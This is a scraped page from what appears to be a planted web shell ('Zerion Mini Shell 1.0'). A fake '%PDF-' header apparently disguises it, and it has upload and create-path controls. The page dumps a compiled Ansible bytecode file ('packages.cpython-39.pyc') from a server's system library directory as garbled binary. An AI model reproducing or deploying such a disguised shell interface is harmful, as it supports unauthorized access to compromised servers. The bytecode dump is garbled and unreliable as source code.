%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/__pycache__/packages.cpython-39.pyc

a

�)g_
�@s�ddlmZmZmZeZddlmZmZddl	m
Z
ddlmZddl
mZdd�ZGdd	�d	e
ee��ZGd
d�de�ZGdd
�d
e�ZdS)�)�absolute_import�division�print_function)�ABCMeta�abstractmethod)�with_metaclass)�get_bin_path)�get_all_subclassescCsdd�tt�D�S)NcSs$i|]}|ttfvr|j��|�qS�)�CLIMgr�LibMgr�__name__�lower)�.0�objr
r
�G/usr/lib/python3.9/site-packages/ansible/module_utils/facts/packages.py�
<dictcomp>�z(get_all_pkg_managers.<locals>.<dictcomp>)r	�PkgMgrr
r
r
r�get_all_pkg_managerssrc@s8eZdZedd��Zedd��Zedd��Zdd�Zd	S)
rcCsdS�Nr
��selfr
r
r�is_availableszPkgMgr.is_availablecCsdSrr
rr
r
r�list_installedszPkgMgr.list_installedcCsdSrr
)r�packager
r
r�get_package_details szPkgMgr.get_package_detailscCsbi}|��D]P}|�|�}d|vr2|jj��|d<|d}||vrN|g||<q||�|�q|S)N�source�name)rr�	__class__r
r�append)rZinstalled_packagesrZpackage_detailsrr
r
r�get_packages%s
zPkgMgr.get_packagesN)r
�
__module__�__qualname__rrrrr!r
r
r
rrs


rcs(eZdZdZ�fdd�Zdd�Z�ZS)rNcsd|_tt|���dSr)�_lib�superr�__init__r�rr
rr&9szLibMgr.__init__cCs0d}zt|j�|_d}Wnty*Yn0|S�NFT)�
__import__�LIBr$�ImportError)r�foundr
r
rr>szLibMgr.is_available)r
r"r#r*r&r�
__classcell__r
r
r'rr5srcs(eZdZdZ�fdd�Zdd�Z�ZS)rNcsd|_tt|���dSr)�_clir%rr&rr'r
rr&LszCLIMgr.__init__cCs*zt|j�|_Wnty$YdS0dSr()r�CLIr.�
ValueErrorrr
r
rrQs
zCLIMgr.is_available)r
r"r#r/r&rr-r
r
r'rrHsrN)Z
__future__rrr�typeZ
__metaclass__�abcrrZansible.module_utils.sixrZ#ansible.module_utils.common.processrZ"ansible.module_utils.common._utilsr	r�objectrrrr
r
r
r�<module>s"

Zerion Mini Shell 1.0